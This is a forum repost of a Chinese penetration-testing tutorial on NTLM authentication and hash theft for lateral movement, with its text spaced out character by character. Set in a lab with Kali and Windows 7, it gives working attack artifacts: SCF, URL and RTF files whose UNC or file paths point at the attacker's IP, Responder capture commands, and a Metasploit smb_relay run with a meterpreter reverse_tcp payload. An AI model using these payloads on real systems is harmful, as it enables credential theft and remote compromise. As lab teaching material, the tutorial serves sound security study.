搜索

[18610] 2021-08-05_内网渗透｜HASH与横向移动

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-08-05_内网渗透｜HASH与横向移动 内 网 渗 透 ｜ H A S H 与 横 向 移 动 原 创   m a t h w i z a r d   H A C K 学 习 呀   2 0 2 1 - 0 8 - 0 5 收 录 于 话 题 # 跨 域   , 1 # 渗 透 测 试   , 1 2 # 内 网 渗 透   , 2 0 # 横 向 移 动   , 3 前 言 前 言 在 内 网 渗 透 的 过 程 中 ， 最 重 要 的 就 是 信 息 搜 集 ， 但 是 在 极 端 情 况 下 我 们 找 不 到 能 够 横 或 者 跨 域 的 机 器 ， 那 么 这 时 候 我 们 就 可 以 尝 试 做 一 个 水 坑 ， 来 尝 试 获 取 h a s h 。 当 然 这 只 是 理 想 情 况 ， 在 愈 发 强 调 对 抗 的 当 下 ， 利 用 水 坑 钓 鱼 也 变 得 不 是 那 么 简 单 。 本 地 认 证 本 地 认 证 既 然 是 获 取 h a s h 就 需 要 一 些 基 础 知 识 ， 这 里 首 先 说 以 下 本 地 认 证 。 在 W i n d o w s 中 ， 密 码 H a s h 称 之 为 N T L M   H a s h ， 这 个 N T L M 是 一 种 网 络 认 证 协 议 ， 与 N T L M   H a s h 的 关 系 就 是 ： N T L M 网 络 认 证 协 议 是 以 N T L M   H a s h 作 为 根 本 凭 证 进 行 认 证 的 协 议 。 在 本 地 认 证 的 过 程 中 ， 其 实 就 是 将 用 户 输 入 的 密 码 转 换 为 N T L M   H a s h 与 S A M 中 的 N T L M   H a s h 进 行 比 较 假 设 我 的 密 码 是 a d m i n ， 那 么 操 作 系 统 会 将 a d m i n 转 换 为 十 六 进 制 ， 经 过 U n i c o d e 转 换 后 ， 再 调 用 M D 4 加 密 算 法 加 密 ， 这 个 加 密 结 果 的 十 六 进 制 就 是 N T L M   H a s h 本 地 认 证 中 主 要 可 以 概 括 为 以 下 三 步 ： w i n l o g o n . e x e   - >   接 收 用 户 输 入   - >   l s a s s . e x e   - >   ( 认 证 ) 首 先 ， 用 户 注 销 、 重 启 、 锁 屏 后 ， 操 作 系 统 会 让 w i n l o g o n 显 示 登 录 界 面 ， 也 就 是 输 入 框 ， 接 收 输 入 后 ， 将 密 码 交 给 l s a s s 进 程 ， 这 个 进 程 中 会 存 一 份 明 文 密 码 ， 将 明 文 密 码 加 密 成 N T L M   H a s h ， 对 S A M 数 据 库 比 较 认 证 。 h a s h 传 递 传 递 & 窃 取 窃 取 要 想 完 成 h a s h 的 窃 取 ， 首 先 要 弄 清 除 h a s h 传 递 的 本 质 。 原 则 上 来 说 进 行 H a s h 传 递 的 条 件 有 抓 到 的 N e t - N T L M   h a s h 字 段 或 h a s h 对 应 的 用 户 名 。 N e t - N T L M 协 议 在 不 同 的 版 本 上 又 可 细 分 为 N T L M   v 1 ， N T L M v 2 ， N T L M   s e s s i o n   v 2 三 种 协 议 ， 不 同 协 议 使 用 不 同 格 式 的 C h a l l e n g e 和 加 密 算 法 。 相 关 H a s h 会 出 现 三 个 地 方 ， 一 是 S A M 数 据 库 ， 二 是 L s a s s 进 程 ， 三 是 传 输 过 程 。 各 类 之 所 以 能 够 读 到 明 文 时 因 为 去 d u m p 了 l s a s s 中 缓 存 的 用 户 输 入 得 到 明 文 ， 如 果 明 文 缓 存 不 存 在 的 情 况 下 （ 比 如 2 0 1 2 / 1 0 以 后 系 统 w d i g e s t 默 认 没 开 启 ， 明 文 不 存 在 ） ， 读 到 的 其 实 可 以 理 解 为 都 是 N T L M   h a s h 。 值 得 注 意 的 是 ： • N e t - N T L M   h a s h 和 N T L M   h a s h 不 是 一 回 事 。 • N e t - N T L M   h a s h 是 N e t - N T L M 认 证 过 程 客 户 端 第 二 次 发 送 给 服 务 端 的 包 中 的 r e s p o n s e 字 段 。 了 解 完 成 就 会 明 白 N e t - N T L M   h a s h 的 窃 取 主 要 发 生 在 传 输 环 节 ， 传 输 环 节 的 攻 击 无 非 三 个 点 。 第 一 是 传 输 前 就 截 取 到 数 据 包 ， 类 似 与 H o o k   a p p 的 发 包 接 口 获 取 明 文 ， 第 二 是 中 间 人 攻 击 获 取 ， 第 三 是 在 接 收 方 获 取 。 S C F 文 件 文 件 首 先 简 单 的 说 一 下 什 么 是 s c f 文 件 a d m i n   - >   h e x ( 1 6 进 制 编 码 )   =   6 1 6 4 6 d 6 9 6 e 6 1 6 4 6 d 6 9 6 e   - >   U n i c o d e   =   6 1 0 0 6 4 0 0 6 d 0 0 6 9 0 0 6 e 0 0 6 1 0 0 6 4 0 0 6 d 0 0 6 9 0 0 6 e 0 0   - >   M D 4   =   2 0 9 c 6 1 7 4 d a 4 9 0 c a e b 4 2 2 f 3 f a 5 a 7 a e 6 3 4
M i c r o s o f t   W i n d o w s   是 使 用 W i n d o w s   E x p l o r e r   C o m m a n d   文 件 的 主 要 软 件 程 序 ， 该 文 件 最 初 由   M i c r o s o f t   C o r p o r a t i o n 开 发 。 网 站 访 问 者 分 析 表 明 ， S C F   文 件 通 常 在   W i n d o w s   1 0   用 户 计 算 机 上 找 到 ， 在   U n i t e d   S t a t e s 中 最 受 欢 迎 。 统 计 上 ， 这 些 用 户 很 可 能 正 在 运 行 G o o g l e   C h r o m e   i n t e r n e t 浏 览 器 。 其 实 是 U N C 路 径 U N C ， 即 U n i v e r s a l   N a m i n g   C o n v e n t i o n ， 意 为 通 用 命 名 规 则 。 U N C 路 径 就 是 类 似 s o f t e r 这 样 的 形 式 的 网 络 路 径 ， u n c 共 享 就 是 指 网 络 硬 盘 的 共 享 ： 当 访 问 s o f t e r 计 算 机 中 名 为 i t 1 6 8 的 共 享 文 件 夹 ， 用 U N C 表 示 就 是 s o f t e r i t 1 6 8 ； 如 果 是 s o f t e r 计 算 机 的 默 认 管 理 共 享 C $ 则 用 s o f t e r c $ 来 表 示 。 可 以 使 用 S C F 文 件 执 行 有 限 的 一 组 操 作 （ 例 如 显 示 W i n d o w s 桌 面 或 打 开 W i n d o w s 资 源 管 理 器 ） 。 但 是 ， 如 果 使 用 S C F 文 件 访 问 特 定 的 U N C 路 径 ， 那 么 我 们 可 以 发 起 攻 击 这 里 简 单 介 绍 下 环 境 攻 击 机 k a l i : 1 9 2 . 1 6 8 . 1 0 . 1 1 靶 机 w i n 7 : 1 9 2 . 1 6 8 . 1 0 . 1 5 首 先 生 成 一 个 S C F 文 件 然 后 将 这 个 s c f 文 件 设 置 为 共 享 状 态 [ S h e l l ] C o m m a n d = 2 I c o n F i l e = 1 9 2 . 1 6 8 . 1 0 . 1 1 s h a r e p e n t e s t l a b . i c o [ T a s k b a r ] C o m m a n d = T o g g l e D e s k t o p
然 后 使 用 k a l i 上 的 进 行 监 听 操 作 这 里 简 单 说 一 下 ， R e s p o n d e r 是 监 听 L L M N R 和 N e t B I O S 协 议 的 工 具 之 一 ， 能 够 抓 取 网 络 中 所 有 的 L L M N R 和 N e t B I O S 请 求 并 进 行 响 应 ， 获 取 最 初 的 账 户 凭 证 。 R e s p o n d e r 会 利 用 内 置 S M B 认 证 服 务 器 、 M S S Q L 认 证 服 务 器 、 H T T P 认 证 服 务 器 、 H T T P S 认 证 服 务 器 、 L D A P 认 证 服 务 器 ， D N S 服 务 器 、 W P A D 代 理 服 务 器 ， 以 及 F T P 、 P O P 3 、 I M A P 、 S M T P 等 服 务 器 ， 收 集 目 标 网 络 中 的 明 文 凭 据 ， 还 可 以 通 过 M u l t i - R e l a y 功 能 在 目 标 系 统 中 执 行 命 令 。 r e s p o n d e r r e s p o n d e r   - I   e t h 0 r e s p o n d e r
当 目 标 机 器 只 要 访 问 这 个 s c f 文 件 之 后 我 们 就 可 以 拿 到 它 的 N T L M   h a s h ， 注 意 这 里 不 需 要 点 击 也 可 以 得 到 ， 只 需 要 能 够 访 问 即 可 当 用 户 浏 览 共 享 时 ， 将 自 动 从 他 的 系 统 建 立 到 S C F 文 件 中 包 含 的 U N C 路 径 的 连 接 。 W i n d o w s 将 尝 试 使 用 用 户 名 和 密 码 对 共 享 进 行 身 份 验 证 。 在 该 身 份 验 证 过 程 中 ， 服 务 器 会 向 客 户 端 发 送 一 个 随 机 的 8 字 节 质 询 密 钥 ， 并 使 用 此 质 询 密 钥 再 次 加 密 散 列 的 N T L M /   L A N M A N 密 码 , 我 们 将 捕 获 N T L M v 2 哈 希 。
s m b 中 继 中 继 直 接 使 用 S C F 进 行 攻 击 的 一 个 好 处 就 是 不 需 要 跟 任 何 用 户 进 行 交 互 并 且 能 够 使 用 户 强 制 进 行 N T L M v 2   h a s h 进 行 协 商 。 这 里 也 可 以 跟 s m b 中 继 技 术 相 结 合 ， 得 到 一 个 m e t e r p r e t e r 使 用 s m b 中 继 有 一 个 比 较 有 名 的 漏 洞 就 是 C V E - 2 0 2 0 - 0 7 9 6 ， 要 想 了 解 s m b 中 继 首 先 需 要 知 道 N T L M   v 2 的 认 证 流 程 1 . 客 户 端 向 服 务 器 发 送 登 录 请 求 ， 密 码 在 客 户 端 被   h a s h   一 次   2 . 客 户 端 向 服 务 器 发 送   u s e r n a m e   3 . 服 务 器 返 回 一 个   1 6   字 节 的 挑 战 码 （ C h a l l e n g e ） ， 并 将 已 存 储 的 用 户 密 码   h a s h   加 密 这 个   C h a l l e n g e ， 生 成   C h a l l e n g e 1   4 . 客 户 端 将 第 一 步   h a s h   的 密 码 与 C h a l l e n g e   再 进 行   h a s h   一 次 ， 生 成   r e s p o n s e   即   C h a l l e n g e 2   5 . 客 户 端 将   r e s p o n s e   发 送 给 服 务 器   6 . 服 务 器 比 较   C h a l l e n g e 1   和 r e s p o n s e ， 相 同 则 认 证 成 功 这 里 了 解 了 N T L M 的 认 证 原 理 ， 那 么 s m b 中 继 就 简 单 了 ， 这 里 攻 击 者 加 在 了 中 间 ， 不 断 的 截 获 流 量 并 重 放 流 量
使 用 e x p l o i t / w i n d o w s / s m b / s m b _ r e l a y 进 行 监 听 ， 同 上 操 作 即 可 拿 到 一 个 m e t e r p r e t e r 使 用 超 链 接 使 用 超 链 接 u s e   e x p l o i t / w i n d o w s / s m b / s m b _ r e l a y s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   1 9 2 . 1 6 8 . 1 0 . 1 1 r u n
这 里 使 用 超 链 接 窃 取 h a s h 的 原 理 跟 L L M N R 欺 骗 有 类 似 之 处 ， 都 是 访 问 一 个 不 存 在 的 路 径 / 程 序 ， 从 而 达 到 在 本 地 子 网 发 送 请 求 的 效 果 。 这 里 就 不 扩 展 说 L L M N R 欺 骗 了 ， 有 兴 趣 的 小 伙 伴 可 自 行 搜 索 生 成 一 个 超 链 接 ， 编 辑 超 链 接 指 向 k a l i ， 注 意 这 个 q w e . e x e 在 k a l i 上 是 不 存 在 的 开 启 监 听 1 9 2 . 1 6 8 . 1 0 . 1 1 q w e . e x e r e s p o n d e r   - I   e t h 0
当 靶 机 打 开 这 个 超 链 接 之 后 我 们 就 能 得 到 h a s h 值 使 用 使 用 u r l
原 理 跟 使 用 超 链 接 类 似 ， 让 靶 机 去 访 问 ， 即 一 个 不 存 在 的 文 件 生 成 一 个 ， 内 容 如 下 使 用 r e s p o n d e r 进 行 监 听 注 意 这 里 如 果 使 用 u r l 的 话 会 有 点 明 显 ， 会 有 一 个 u a c 界 面 的 提 醒 ， 会 增 加 被 发 现 的 可 能 I c o n F i l e = 1 9 2 . 1 6 8 . 1 0 . 1 1 q w e . i c o n t e s t 1 . u r l c : l i n k . u r l @ v i c t i m [ I n t e r n e t S h o r t c u t ] U R L = w h a t e v e r                                                 / / u r l 内 容 W o r k i n g D i r e c t o r y = w h a t e v e r                         / / u r l 名 称 I c o n F i l e = 1 9 2 . 1 6 8 . 1 0 . 1 1 q w e . i c o n I c o n I n d e x = 1 r e s p o n d e r   - I   e t h 0
这 里 假 装 受 害 者 比 较 笨 点 了 这 个 u r l 如 下 图 所 示 就 会 得 到 靶 机 的 n t l m   h a s h 使 用 使 用 R T F 何 为 r t f ？ * * * * 富 文 本 格 式 * * （ * * R i c h   T e x t   F o r m a t * * ） 即 * * R T F 格 式 * * ， 又 称 * 多 文 本 格 式 * ， 是 由 微 软 公 司 开 发 的 跨 平 台 文 档 格 式 。 大 多 数 的 文 字 处 理 软 件 都 能 读 取 和 保 存 R T F 文 档 。 富 文 本 格 式 富 文 本 格 式   ( R T F )   是 一 种 方 便 于 不 同 的 设 备 、 系 统 查 看 的 文 本 和 图 形 文 档 格 式 。 r t f 文 件 的 创 建 主 要 是 为 了 方 便 在 不 同 操 作 系 统 下 创 建 的 文 件 能 够 在 多 个 操 作 系 统 之 间 进 行 传 输 和 查 看 生 成 一 个 ， 内 容 如 下 所 示 t e s t 2 . r t f { r t f 1 { f i e l d { * f l d i n s t   { I N C L U D E P I C T U R E   " f i l e : / / 1 9 2 . 1 6 8 . 1 0 . 1 1 / t e s t . j p g "   *   M E R G E F O R M A T d } } { f l d r s l t } } }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理